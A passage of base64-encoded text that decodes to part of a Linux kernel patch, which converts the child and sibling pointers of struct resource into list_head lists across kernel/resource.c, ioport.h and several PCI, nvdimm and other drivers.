dC9qb3lzdGljay9pZm9yY2UvaWZvcmNlLW1haW4uYwppbmRleCBkYWVlYjRjN2UzYjAuLjVjMGJl
MjdiMzNmZiAxMDA2NDQKLS0tIGEvZHJpdmVycy9pbnB1dC9qb3lzdGljay9pZm9yY2UvaWZvcmNl
LW1haW4uYworKysgYi9kcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5j
CkBAIC0zMDUsOCArMzA1LDggQEAgaW50IGlmb3JjZV9pbml0X2RldmljZShzdHJ1Y3QgaWZvcmNl
ICppZm9yY2UpCiAJaWZvcmNlLT5kZXZpY2VfbWVtb3J5LmVuZCA9IDIwMDsKIAlpZm9yY2UtPmRl
dmljZV9tZW1vcnkuZmxhZ3MgPSBJT1JFU09VUkNFX01FTTsKIAlpZm9yY2UtPmRldmljZV9tZW1v
cnkucGFyZW50ID0gTlVMTDsKLQlpZm9yY2UtPmRldmljZV9tZW1vcnkuY2hpbGQgPSBOVUxMOwot
CWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5zaWJsaW5nID0gTlVMTDsKKwlJTklUX0xJU1RfSEVBRCgm
aWZvcmNlLT5kZXZpY2VfbWVtb3J5LmNoaWxkKTsKKwlJTklUX0xJU1RfSEVBRCgmaWZvcmNlLT5k
ZXZpY2VfbWVtb3J5LnNpYmxpbmcpOwogCiAvKgogICogV2FpdCB1bnRpbCBkZXZpY2UgcmVhZHkg
LSB1bnRpbCBpdCBzZW5kcyBpdHMgZmlyc3QgcmVzcG9uc2UuCmRpZmYgLS1naXQgYS9kcml2ZXJz
L252ZGltbS9lODIwLmMgYi9kcml2ZXJzL252ZGltbS9lODIwLmMKaW5kZXggNmY5YTZmZmQ3Y2Rl
Li41MTNlNjYxYmIwZDggMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvbnZkaW1tL2U4MjAuYworKysgYi9k
cml2ZXJzL252ZGltbS9lODIwLmMKQEAgLTUzLDcgKzUzLDcgQEAgc3RhdGljIGludCBlODIwX3Bt
ZW1fcHJvYmUoc3RydWN0IHBsYXRmb3JtX2RldmljZSAqcGRldikKIAkJZ290byBlcnI7CiAJcGxh
dGZvcm1fc2V0X2RydmRhdGEocGRldiwgbnZkaW1tX2J1cyk7CiAKLQlmb3IgKHAgPSBpb21lbV9y
ZXNvdXJjZS5jaGlsZDsgcCA7IHAgPSBwLT5zaWJsaW5nKSB7CisJbGlzdF9mb3JfZWFjaF9lbnRy
eShwLCAmaW9tZW1fcmVzb3VyY2UuY2hpbGQsIHNpYmxpbmcpIHsKIAkJc3RydWN0IG5kX3JlZ2lv
bl9kZXNjIG5kcl9kZXNjOwogCiAJCWlmIChwLT5kZXNjICE9IElPUkVTX0RFU0NfUEVSU0lTVEVO
VF9NRU1PUllfTEVHQUNZKQpkaWZmIC0tZ2l0IGEvZHJpdmVycy9udmRpbW0vbmFtZXNwYWNlX2Rl
dnMuYyBiL2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMKaW5kZXggMjhhZmRkNjY4OTA1
Li5mNTNkNDEwZDk5ODEgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZz
LmMKKysrIGIvZHJpdmVycy9udmRpbW0vbmFtZXNwYWNlX2RldnMuYwpAQCAtNjM3LDcgKzYzNyw3
IEBAIHN0YXRpYyByZXNvdXJjZV9zaXplX3Qgc2Nhbl9hbGxvY2F0ZShzdHJ1Y3QgbmRfcmVnaW9u
ICpuZF9yZWdpb24sCiAgcmV0cnk6CiAJZmlyc3QgPSAwOwogCWZvcl9lYWNoX2RwYV9yZXNvdXJj
ZShuZGQsIHJlcykgewotCQlzdHJ1Y3QgcmVzb3VyY2UgKm5leHQgPSByZXMtPnNpYmxpbmcsICpu
ZXdfcmVzID0gTlVMTDsKKwkJc3RydWN0IHJlc291cmNlICpuZXh0ID0gcmVzb3VyY2Vfc2libGlu
ZyhyZXMpLCAqbmV3X3JlcyA9IE5VTEw7CiAJCXJlc291cmNlX3NpemVfdCBhbGxvY2F0ZSwgYXZh
aWxhYmxlID0gMDsKIAkJZW51bSBhbGxvY19sb2MgbG9jID0gQUxMT0NfRVJSOwogCQljb25zdCBj
aGFyICphY3Rpb247CkBAIC03NjMsNyArNzYzLDcgQEAgc3RhdGljIHJlc291cmNlX3NpemVfdCBz
Y2FuX2FsbG9jYXRlKHN0cnVjdCBuZF9yZWdpb24gKm5kX3JlZ2lvbiwKIAkgKiBhbiBpbml0aWFs
ICJwbWVtLXJlc2VydmUgcGFzcyIuICBPbmx5IGRvIGFuIGluaXRpYWwgQkxLIGFsbG9jYXRpb24K
IAkgKiB3aGVuIG5vbmUgb2YgdGhlIERQQSBzcGFjZSBpcyByZXNlcnZlZC4KIAkgKi8KLQlpZiAo
KGlzX3BtZW0gfHwgIW5kZC0+ZHBhLmNoaWxkKSAmJiBuID09IHRvX2FsbG9jYXRlKQorCWlmICgo
aXNfcG1lbSB8fCBsaXN0X2VtcHR5KCZuZGQtPmRwYS5jaGlsZCkpICYmIG4gPT0gdG9fYWxsb2Nh
dGUpCiAJCXJldHVybiBpbml0X2RwYV9hbGxvY2F0aW9uKGxhYmVsX2lkLCBuZF9yZWdpb24sIG5k
X21hcHBpbmcsIG4pOwogCXJldHVybiBuOwogfQpAQCAtNzc5LDcgKzc3OSw3IEBAIHN0YXRpYyBp
bnQgbWVyZ2VfZHBhKHN0cnVjdCBuZF9yZWdpb24gKm5kX3JlZ2lvbiwKICByZXRyeToKIAlmb3Jf
ZWFjaF9kcGFfcmVzb3VyY2UobmRkLCByZXMpIHsKIAkJaW50IHJjOwotCQlzdHJ1Y3QgcmVzb3Vy
Y2UgKm5leHQgPSByZXMtPnNpYmxpbmc7CisJCXN0cnVjdCByZXNvdXJjZSAqbmV4dCA9IHJlc291
cmNlX3NpYmxpbmcocmVzKTsKIAkJcmVzb3VyY2Vfc2l6ZV90IGVuZCA9IHJlcy0+c3RhcnQgKyBy
ZXNvdXJjZV9zaXplKHJlcyk7CiAKIAkJaWYgKCFuZXh0IHx8IHN0cmNtcChyZXMtPm5hbWUsIGxh
YmVsX2lkLT5pZCkgIT0gMApkaWZmIC0tZ2l0IGEvZHJpdmVycy9udmRpbW0vbmQuaCBiL2RyaXZl
cnMvbnZkaW1tL25kLmgKaW5kZXggMzJlMDM2NGI0OGI5Li5kYTdkYTE1ZTAzZTcgMTAwNjQ0Ci0t
LSBhL2RyaXZlcnMvbnZkaW1tL25kLmgKKysrIGIvZHJpdmVycy9udmRpbW0vbmQuaApAQCAtMTAy
LDExICsxMDIsMTAgQEAgdW5zaWduZWQgc2l6ZW9mX25hbWVzcGFjZV9sYWJlbChzdHJ1Y3QgbnZk
aW1tX2RydmRhdGEgKm5kZCk7CiAJCSh1bnNpZ25lZCBsb25nIGxvbmcpIChyZXMgPyByZXMtPnN0
YXJ0IDogMCksICMjYXJnKQogCiAjZGVmaW5lIGZvcl9lYWNoX2RwYV9yZXNvdXJjZShuZGQsIHJl
cykgXAotCWZvciAocmVzID0gKG5kZCktPmRwYS5jaGlsZDsgcmVzOyByZXMgPSByZXMtPnNpYmxp
bmcpCisJbGlzdF9mb3JfZWFjaF9lbnRyeShyZXMsICYobmRkKS0+ZHBhLmNoaWxkLCBzaWJsaW5n
KQogCiAjZGVmaW5lIGZvcl9lYWNoX2RwYV9yZXNvdXJjZV9zYWZlKG5kZCwgcmVzLCBuZXh0KSBc
Ci0JZm9yIChyZXMgPSAobmRkKS0+ZHBhLmNoaWxkLCBuZXh0ID0gcmVzID8gcmVzLT5zaWJsaW5n
IDogTlVMTDsgXAotCQkJcmVzOyByZXMgPSBuZXh0LCBuZXh0ID0gbmV4dCA/IG5leHQtPnNpYmxp
bmcgOiBOVUxMKQorCWxpc3RfZm9yX2VhY2hfZW50cnlfc2FmZShyZXMsIG5leHQsICYobmRkKS0+
ZHBhLmNoaWxkLCBzaWJsaW5nKQogCiBzdHJ1Y3QgbmRfcGVyY3B1X2xhbmUgewogCWludCBjb3Vu
dDsKZGlmZiAtLWdpdCBhL2RyaXZlcnMvb2YvYWRkcmVzcy5jIGIvZHJpdmVycy9vZi9hZGRyZXNz
LmMKaW5kZXggNTMzNDk5MTJhYzc1Li5lMmUyNTcxOWFiNTIgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMv
b2YvYWRkcmVzcy5jCisrKyBiL2RyaXZlcnMvb2YvYWRkcmVzcy5jCkBAIC0zMzAsNyArMzMwLDkg
QEAgaW50IG9mX3BjaV9yYW5nZV90b19yZXNvdXJjZShzdHJ1Y3Qgb2ZfcGNpX3JhbmdlICpyYW5n
ZSwKIHsKIAlpbnQgZXJyOwogCXJlcy0+ZmxhZ3MgPSByYW5nZS0+ZmxhZ3M7Ci0JcmVzLT5wYXJl
bnQgPSByZXMtPmNoaWxkID0gcmVzLT5zaWJsaW5nID0gTlVMTDsKKwlyZXMtPnBhcmVudCA9IE5V
TEw7CisJSU5JVF9MSVNUX0hFQUQoJnJlcy0+Y2hpbGQpOworCUlOSVRfTElTVF9IRUFEKCZyZXMt
PnNpYmxpbmcpOwogCXJlcy0+bmFtZSA9IG5wLT5mdWxsX25hbWU7CiAKIAlpZiAocmVzLT5mbGFn
cyAmIElPUkVTT1VSQ0VfSU8pIHsKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2ku
YyBiL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYwppbmRleCA2OWJkOTg0MjFlYjEuLjc0ODJiZGZk
MTk1OSAxMDA2NDQKLS0tIGEvZHJpdmVycy9wYXJpc2MvbGJhX3BjaS5jCisrKyBiL2RyaXZlcnMv
cGFyaXNjL2xiYV9wY2kuYwpAQCAtMTcwLDggKzE3MCw4IEBAIGxiYV9kdW1wX3JlcyhzdHJ1Y3Qg
cmVzb3VyY2UgKnIsIGludCBkKQogCWZvciAoaSA9IGQ7IGkgOyAtLWkpIHByaW50aygiICIpOwog
CXByaW50ayhLRVJOX0RFQlVHICIlcCBbJWx4LCVseF0vJWx4XG4iLCByLAogCQkobG9uZylyLT5z
dGFydCwgKGxvbmcpci0+ZW5kLCByLT5mbGFncyk7Ci0JbGJhX2R1bXBfcmVzKHItPmNoaWxkLCBk
KzIpOwotCWxiYV9kdW1wX3JlcyhyLT5zaWJsaW5nLCBkKTsKKwlsYmFfZHVtcF9yZXMocmVzb3Vy
Y2VfZmlyc3RfY2hpbGQoJnItPmNoaWxkKSwgZCsyKTsKKwlsYmFfZHVtcF9yZXMocmVzb3VyY2Vf
c2libGluZyhyKSwgZCk7CiB9CiAKIApkaWZmIC0tZ2l0IGEvZHJpdmVycy9wY2kvaG9zdC92bWQu
YyBiL2RyaXZlcnMvcGNpL2hvc3Qvdm1kLmMKaW5kZXggOTMwYThmYTA4YmQ2Li5jMzAwMGFmOTAz
ZWEgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvcGNpL2hvc3Qvdm1kLmMKKysrIGIvZHJpdmVycy9wY2kv
aG9zdC92bWQuYwpAQCAtNTIwLDE0ICs1MjAsMTQgQEAgc3RhdGljIHN0cnVjdCBwY2lfb3BzIHZt
ZF9vcHMgPSB7CiAKIHN0YXRpYyB2b2lkIHZtZF9hdHRhY2hfcmVzb3VyY2VzKHN0cnVjdCB2bWRf
ZGV2ICp2bWQpCiB7Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIxXS5jaGlsZCA9ICZ2
bWQtPnJlc291cmNlc1sxXTsKLQl2bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJBUjJdLmNoaWxk
ID0gJnZtZC0+cmVzb3VyY2VzWzJdOworCWxpc3RfYWRkKCZ2bWQtPnJlc291cmNlc1sxXS5zaWJs
aW5nLCAmdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIxXS5jaGlsZCk7CisJbGlzdF9hZGQo
JnZtZC0+cmVzb3VyY2VzWzJdLnNpYmxpbmcsICZ2bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJB
UjJdLmNoaWxkKTsKIH0KIAogc3RhdGljIHZvaWQgdm1kX2RldGFjaF9yZXNvdXJjZXMoc3RydWN0
IHZtZF9kZXYgKnZtZCkKIHsKLQl2bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJBUjFdLmNoaWxk
ID0gTlVMTDsKLQl2bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJBUjJdLmNoaWxkID0gTlVMTDsK
KwlJTklUX0xJU1RfSEVBRCgmdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIxXS5jaGlsZCk7
CisJSU5JVF9MSVNUX0hFQUQoJnZtZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMl0uY2hpbGQp
OwogfQogCiAvKgpkaWZmIC0tZ2l0IGEvZHJpdmVycy9wY2kvcHJvYmUuYyBiL2RyaXZlcnMvcGNp
L3Byb2JlLmMKaW5kZXggYWM5MWI2ZmQwYmNkLi5kMTYyYzc3YmVjMjkgMTAwNjQ0Ci0tLSBhL2Ry
aXZlcnMvcGNpL3Byb2JlLmMKKysrIGIvZHJpdmVycy9wY2kvcHJvYmUuYwpAQCAtNTksNiArNTks
OCBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICpnZXRfcGNpX2RvbWFpbl9idXNuX3JlcyhpbnQg
ZG9tYWluX25yKQogCXItPnJlcy5zdGFydCA9IDA7CiAJci0+cmVzLmVuZCA9IDB4ZmY7CiAJci0+
cmVzLmZsYWdzID0gSU9SRVNPVVJDRV9CVVMgfCBJT1JFU09VUkNFX1BDSV9GSVhFRDsKKwlJTklU
X0xJU1RfSEVBRCgmci0+cmVzLmNoaWxkKTsKKwlJTklUX0xJU1RfSEVBRCgmci0+cmVzLnNpYmxp
bmcpOwogCiAJbGlzdF9hZGRfdGFpbCgmci0+bGlzdCwgJnBjaV9kb21haW5fYnVzbl9yZXNfbGlz
dCk7CiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGNpL3NldHVwLWJ1cy5jIGIvZHJpdmVycy9wY2kv
c2V0dXAtYnVzLmMKaW5kZXggMDcyNzg0ZjU1ZWE1Li4wZDVlMzAwMDRjYTYgMTAwNjQ0Ci0tLSBh
L2RyaXZlcnMvcGNpL3NldHVwLWJ1cy5jCisrKyBiL2RyaXZlcnMvcGNpL3NldHVwLWJ1cy5jCkBA
IC0yMTA3LDcgKzIxMDcsNyBAQCBpbnQgcGNpX3JlYXNzaWduX2JyaWRnZV9yZXNvdXJjZXMoc3Ry
dWN0IHBjaV9kZXYgKmJyaWRnZSwgdW5zaWduZWQgbG9uZyB0eXBlKQogCQkJCWNvbnRpbnVlOwog
CiAJCQkvKiBJZ25vcmUgQkFScyB3aGljaCBhcmUgc3RpbGwgaW4gdXNlICovCi0JCQlpZiAocmVz
LT5jaGlsZCkKKwkJCWlmICghbGlzdF9lbXB0eSgmcmVzLT5jaGlsZCkpCiAJCQkJY29udGludWU7
CiAKIAkJCXJldCA9IGFkZF90b19saXN0KCZzYXZlZCwgYnJpZGdlLCByZXMsIDAsIDApOwpkaWZm
IC0tZ2l0IGEvaW5jbHVkZS9saW51eC9pb3BvcnQuaCBiL2luY2x1ZGUvbGludXgvaW9wb3J0LmgK
aW5kZXggZGEwZWJhZWMyNWYwLi4yMjVkMTNkMzUwMGEgMTAwNjQ0Ci0tLSBhL2luY2x1ZGUvbGlu
dXgvaW9wb3J0LmgKKysrIGIvaW5jbHVkZS9saW51eC9pb3BvcnQuaApAQCAtMTIsNiArMTIsNyBA
QAogI2lmbmRlZiBfX0FTU0VNQkxZX18KICNpbmNsdWRlIDxsaW51eC9jb21waWxlci5oPgogI2lu
Y2x1ZGUgPGxpbnV4L3R5cGVzLmg+CisjaW5jbHVkZSA8bGludXgvbGlzdC5oPgogLyoKICAqIFJl
c291cmNlcyBhcmUgdHJlZS1saWtlLCBhbGxvd2luZwogICogbmVzdGluZyBldGMuLgpAQCAtMjIs
NyArMjMsOCBAQCBzdHJ1Y3QgcmVzb3VyY2UgewogCWNvbnN0IGNoYXIgKm5hbWU7CiAJdW5zaWdu
ZWQgbG9uZyBmbGFnczsKIAl1bnNpZ25lZCBsb25nIGRlc2M7Ci0Jc3RydWN0IHJlc291cmNlICpw
YXJlbnQsICpzaWJsaW5nLCAqY2hpbGQ7CisJc3RydWN0IGxpc3RfaGVhZCBjaGlsZCwgc2libGlu
ZzsKKwlzdHJ1Y3QgcmVzb3VyY2UgKnBhcmVudDsKIH07CiAKIC8qCkBAIC0yMTUsNyArMjE3LDYg
QEAgc3RhdGljIGlubGluZSBib29sIHJlc291cmNlX2NvbnRhaW5zKHN0cnVjdCByZXNvdXJjZSAq
cjEsIHN0cnVjdCByZXNvdXJjZSAqcjIpCiAJcmV0dXJuIHIxLT5zdGFydCA8PSByMi0+c3RhcnQg
JiYgcjEtPmVuZCA+PSByMi0+ZW5kOwogfQogCi0KIC8qIENvbnZlbmllbmNlIHNob3J0aGFuZCB3
aXRoIGFsbG9jYXRpb24gKi8KICNkZWZpbmUgcmVxdWVzdF9yZWdpb24oc3RhcnQsbixuYW1lKQkJ
X19yZXF1ZXN0X3JlZ2lvbigmaW9wb3J0X3Jlc291cmNlLCAoc3RhcnQpLCAobiksIChuYW1lKSwg
MCkKICNkZWZpbmUgcmVxdWVzdF9tdXhlZF9yZWdpb24oc3RhcnQsbixuYW1lKQlfX3JlcXVlc3Rf
cmVnaW9uKCZpb3BvcnRfcmVzb3VyY2UsIChzdGFydCksIChuKSwgKG5hbWUpLCBJT1JFU09VUkNF
X01VWEVEKQpAQCAtMjg2LDYgKzI4NywxOCBAQCBzdGF0aWMgaW5saW5lIGJvb2wgcmVzb3VyY2Vf
b3ZlcmxhcHMoc3RydWN0IHJlc291cmNlICpyMSwgc3RydWN0IHJlc291cmNlICpyMikKICAgICAg
ICByZXR1cm4gKHIxLT5zdGFydCA8PSByMi0+ZW5kICYmIHIxLT5lbmQgPj0gcjItPnN0YXJ0KTsK
IH0KIAorc3RhdGljIGlubGluZSBzdHJ1Y3QgcmVzb3VyY2UgKnJlc291cmNlX3NpYmxpbmcoc3Ry
dWN0IHJlc291cmNlICpyZXMpCit7CisJaWYgKHJlcy0+cGFyZW50ICYmICFsaXN0X2lzX2xhc3Qo
JnJlcy0+c2libGluZywgJnJlcy0+cGFyZW50LT5jaGlsZCkpCisJCXJldHVybiBsaXN0X25leHRf
ZW50cnkocmVzLCBzaWJsaW5nKTsKKwlyZXR1cm4gTlVMTDsKK30KKworc3RhdGljIGlubGluZSBz
dHJ1Y3QgcmVzb3VyY2UgKnJlc291cmNlX2ZpcnN0X2NoaWxkKHN0cnVjdCBsaXN0X2hlYWQgKmhl
YWQpCit7CisJcmV0dXJuIGxpc3RfZmlyc3RfZW50cnlfb3JfbnVsbChoZWFkLCBzdHJ1Y3QgcmVz
b3VyY2UsIHNpYmxpbmcpOworfQorCiAKICNlbmRpZiAvKiBfX0FTU0VNQkxZX18gKi8KICNlbmRp
ZgkvKiBfTElOVVhfSU9QT1JUX0ggKi8KZGlmZiAtLWdpdCBhL2tlcm5lbC9yZXNvdXJjZS5jIGIv
a2VybmVsL3Jlc291cmNlLmMKaW5kZXggMmFmNmMwMzg1OGI5Li40ZjU2MDk5MWMxMzAgMTAwNjQ0
Ci0tLSBhL2tlcm5lbC9yZXNvdXJjZS5jCisrKyBiL2tlcm5lbC9yZXNvdXJjZS5jCkBAIC0zMSw2
ICszMSw4IEBAIHN0cnVjdCByZXNvdXJjZSBpb3BvcnRfcmVzb3VyY2UgPSB7CiAJLnN0YXJ0CT0g
MCwKIAkuZW5kCT0gSU9fU1BBQ0VfTElNSVQsCiAJLmZsYWdzCT0gSU9SRVNPVVJDRV9JTywKKwku
c2libGluZyA9IExJU1RfSEVBRF9JTklUKGlvcG9ydF9yZXNvdXJjZS5zaWJsaW5nKSwKKwkuY2hp
bGQgID0gTElTVF9IRUFEX0lOSVQoaW9wb3J0X3Jlc291cmNlLmNoaWxkKSwKIH07CiBFWFBPUlRf
U1lNQk9MKGlvcG9ydF9yZXNvdXJjZSk7CiAKQEAgLTM5LDYgKzQxLDggQEAgc3RydWN0IHJlc291
cmNlIGlvbWVtX3Jlc291cmNlID0gewogCS5zdGFydAk9IDAsCiAJLmVuZAk9IC0xLAogCS5mbGFn
cwk9IElPUkVTT1VSQ0VfTUVNLAorCS5zaWJsaW5nID0gTElTVF9IRUFEX0lOSVQoaW9tZW1fcmVz
b3VyY2Uuc2libGluZyksCisJLmNoaWxkICA9IExJU1RfSEVBRF9JTklUKGlvbWVtX3Jlc291cmNl
LmNoaWxkKSwKIH07CiBFWFBPUlRfU1lNQk9MKGlvbWVtX3Jlc291cmNlKTsKIApAQCAtNTcsMjAg
KzYxLDIwIEBAIHN0YXRpYyBERUZJTkVfUldMT0NLKHJlc291cmNlX2xvY2spOwogICogYnkgYm9v
dCBtZW0gYWZ0ZXIgdGhlIHN5c3RlbSBpcyB1cC4gU28gZm9yIHJldXNpbmcgdGhlIHJlc291cmNl
IGVudHJ5CiAgKiB3ZSBuZWVkIHRvIHJlbWVtYmVyIHRoZSByZXNvdXJjZS4KICAqLwotc3RhdGlj
IHN0cnVjdCByZXNvdXJjZSAqYm9vdG1lbV9yZXNvdXJjZV9mcmVlOworc3RhdGljIHN0cnVjdCBs
aXN0X2hlYWQgYm9vdG1lbV9yZXNvdXJjZV9mcmVlID0gTElTVF9IRUFEX0lOSVQoYm9vdG1lbV9y
ZXNvdXJjZV9mcmVlKTsKIHN0YXRpYyBERUZJTkVfU1BJTkxPQ0soYm9vdG1lbV9yZXNvdXJjZV9s
b2NrKTsKIAogc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqbmV4dF9yZXNvdXJjZShzdHJ1Y3QgcmVz
b3VyY2UgKnAsIGJvb2wgc2libGluZ19vbmx5KQogewogCS8qIENhbGxlciB3YW50cyB0byB0cmF2
ZXJzZSB0aHJvdWdoIHNpYmxpbmdzIG9ubHkgKi8KIAlpZiAoc2libGluZ19vbmx5KQotCQlyZXR1
cm4gcC0+c2libGluZzsKKwkJcmV0dXJuIHJlc291cmNlX3NpYmxpbmcocCk7CiAKLQlpZiAocC0+
Y2hpbGQpCi0JCXJldHVybiBwLT5jaGlsZDsKLQl3aGlsZSAoIXAtPnNpYmxpbmcgJiYgcC0+cGFy
ZW50KQorCWlmICghbGlzdF9lbXB0eSgmcC0+Y2hpbGQpKQorCQlyZXR1cm4gcmVzb3VyY2VfZmly
c3RfY2hpbGQoJnAtPmNoaWxkKTsKKwl3aGlsZSAoIXJlc291cmNlX3NpYmxpbmcocCkgJiYgcC0+
cGFyZW50KQogCQlwID0gcC0+cGFyZW50OwotCXJldHVybiBwLT5zaWJsaW5nOworCXJldHVybiBy
ZXNvdXJjZV9zaWJsaW5nKHApOwogfQogCiBzdGF0aWMgdm9pZCAqcl9uZXh0KHN0cnVjdCBzZXFf
ZmlsZSAqbSwgdm9pZCAqdiwgbG9mZl90ICpwb3MpCkBAIC05MCw3ICs5NCw3IEBAIHN0YXRpYyB2
b2lkICpyX3N0YXJ0KHN0cnVjdCBzZXFfZmlsZSAqbSwgbG9mZl90ICpwb3MpCiAJc3RydWN0IHJl
c291cmNlICpwID0gbS0+cHJpdmF0ZTsKIAlsb2ZmX3QgbCA9IDA7CiAJcmVhZF9sb2NrKCZyZXNv
dXJjZV9sb2NrKTsKLQlmb3IgKHAgPSBwLT5jaGlsZDsgcCAmJiBsIDwgKnBvczsgcCA9IHJfbmV4
dChtLCBwLCAmbCkpCisJZm9yIChwID0gcmVzb3VyY2VfZmlyc3RfY2hpbGQoJnAtPmNoaWxkKTsg
cCAmJiBsIDwgKnBvczsgcCA9IHJfbmV4dChtLCBwLCAmbCkpCiAJCTsKIAlyZXR1cm4gcDsKIH0K
QEAgLTE4Niw4ICsxOTAsNyBAQCBzdGF0aWMgdm9pZCBmcmVlX3Jlc291cmNlKHN0cnVjdCByZXNv
dXJjZSAqcmVzKQogCiAJaWYgKCFQYWdlU2xhYih2aXJ0X3RvX2hlYWRfcGFnZShyZXMpKSkgewog
CQlzcGluX2xvY2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7Ci0JCXJlcy0+c2libGluZyA9IGJv
b3RtZW1fcmVzb3VyY2VfZnJlZTsKLQkJYm9vdG1lbV9yZXNvdXJjZV9mcmVlID0gcmVzOworCQls
aXN0X2FkZCgmcmVzLT5zaWJsaW5nLCAmYm9vdG1lbV9yZXNvdXJjZV9mcmVlKTsKIAkJc3Bpbl91
bmxvY2soJmJvb3RtZW1fcmVzb3VyY2VfbG9jayk7CiAJfSBlbHNlIHsKIAkJa2ZyZWUocmVzKTsK
QEAgLTE5OSwxMCArMjAyLDkgQEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqYWxsb2NfcmVzb3Vy
Y2UoZ2ZwX3QgZmxhZ3MpCiAJc3RydWN0IHJlc291cmNlICpyZXMgPSBOVUxMOwogCiAJc3Bpbl9s
b2NrKCZib290bWVtX3Jlc291cmNlX2xvY2spOwotCWlmIChib290bWVtX3Jlc291cmNlX2ZyZWUp
IHsKLQkJcmVzID0gYm9vdG1lbV9yZXNvdXJjZV9mcmVlOwotCQlib290bWVtX3Jlc291cmNlX2Zy
ZWUgPSByZXMtPnNpYmxpbmc7Ci0JfQorCXJlcyA9IHJlc291cmNlX2ZpcnN0X2NoaWxkKCZib290
bWVtX3Jlc291cmNlX2ZyZWUpOworCWlmIChyZXMpCisJCWxpc3RfZGVsKCZyZXMtPnNpYmxpbmcp
OwogCXNwaW5fdW5sb2NrKCZib290bWVtX3Jlc291cmNlX2xvY2spOwogCiAJaWYgKHJlcykKQEAg
LTIxMCw2ICsyMTIsOCBAQCBzdGF0aWMgc3RydWN0IHJlc291cmNlICphbGxvY19yZXNvdXJjZShn
ZnBfdCBmbGFncykKIAllbHNlCiAJCXJlcyA9IGt6YWxsb2Moc2l6ZW9mKHN0cnVjdCByZXNvdXJj
ZSksIGZsYWdzKTsKIAorCUlOSVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwlJTklUX0xJU1Rf
SEVBRCgmcmVzLT5zaWJsaW5nKTsKIAlyZXR1cm4gcmVzOwogfQogCkBAIC0yMTgsNyArMjIyLDcg
QEAgc3RhdGljIHN0cnVjdCByZXNvdXJjZSAqIF9fcmVxdWVzdF9yZXNvdXJjZShzdHJ1Y3QgcmVz
b3VyY2UgKnJvb3QsIHN0cnVjdCByZXNvdXIKIHsKIAlyZXNvdXJjZV9zaXplX3Qgc3RhcnQgPSBu
ZXctPnN0YXJ0OwogCXJlc291cmNlX3NpemVfdCBlbmQgPSBuZXctPmVuZDsKLQlzdHJ1Y3QgcmVz
b3VyY2UgKnRtcCwgKipwOworCXN0cnVjdCByZXNvdXJjZSAqdG1wOwogCiAJaWYgKGVuZCA8IHN0
YXJ0KQogCQlyZXR1cm4gcm9vdDsKQEAgLTIyNiw2NCArMjMwLDYyIEBAIHN0YXRpYyBzdHJ1Y3Qg
cmVzb3VyY2UgKiBfX3JlcXVlc3RfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpyb290LCBzdHJ1
Y3QgcmVzb3VyCiAJCXJldHVybiByb290OwogCWlmIChlbmQgPiByb290LT5lbmQpCiAJCXJldHVy
biByb290OwotCXAgPSAmcm9vdC0+Y2hpbGQ7Ci0JZm9yICg7OykgewotCQl0bXAgPSAqcDsKLQkJ
aWYgKCF0bXAgfHwgdG1wLT5zdGFydCA+IGVuZCkgewotCQkJbmV3LT5zaWJsaW5nID0gdG1wOwot
CQkJKnAgPSBuZXc7CisKKwlpZiAobGlzdF9lbXB0eSgmcm9vdC0+Y2hpbGQpKSB7CisJCWxpc3Rf
YWRkKCZuZXctPnNpYmxpbmcsICZyb290LT5jaGlsZCk7CisJCW5ldy0+cGFyZW50ID0gcm9vdDsK
KwkJSU5JVF9MSVNUX0hFQUQoJm5ldy0+Y2hpbGQpOworCQlyZXR1cm4gTlVMTDsKKwl9CisKKwls
aXN0X2Zvcl9lYWNoX2VudHJ5KHRtcCwgJnJvb3QtPmNoaWxkLCBzaWJsaW5nKSB7CisJCWlmICh0
bXAtPnN0YXJ0ID4gZW5kKSB7CisJCQlsaXN0X2FkZCgmbmV3LT5zaWJsaW5nLCB0bXAtPnNpYmxp
bmcucHJldik7CiAJCQluZXctPnBhcmVudCA9IHJvb3Q7CisJCQlJTklUX0xJU1RfSEVBRCgmbmV3
LT5jaGlsZCk7CiAJCQlyZXR1cm4gTlVMTDsKIAkJfQotCQlwID0gJnRtcC0+c2libGluZzsKIAkJ
aWYgKHRtcC0+ZW5kIDwgc3RhcnQpCiAJCQljb250aW51ZTsKIAkJcmV0dXJuIHRtcDsKIAl9CisK
KwlsaXN0X2FkZF90YWlsKCZuZXctPnNpYmxpbmcsICZyb290LT5jaGlsZCk7CisJbmV3LT5wYXJl
bnQgPSByb290OworCUlOSVRfTElTVF9IRUFEKCZuZXctPmNoaWxkKTsKKwlyZXR1cm4gTlVMTDsK
IH0KIAogc3RhdGljIGludCBfX3JlbGVhc2VfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpvbGQs
IGJvb2wgcmVsZWFzZV9jaGlsZCkKIHsKLQlzdHJ1Y3QgcmVzb3VyY2UgKnRtcCwgKipwLCAqY2hk
OworCXN0cnVjdCByZXNvdXJjZSAqdG1wLCAqbmV4dCwgKmNoZDsKIAotCXAgPSAmb2xkLT5wYXJl
bnQtPmNoaWxkOwotCWZvciAoOzspIHsKLQkJdG1wID0gKnA7Ci0JCWlmICghdG1wKQotCQkJYnJl
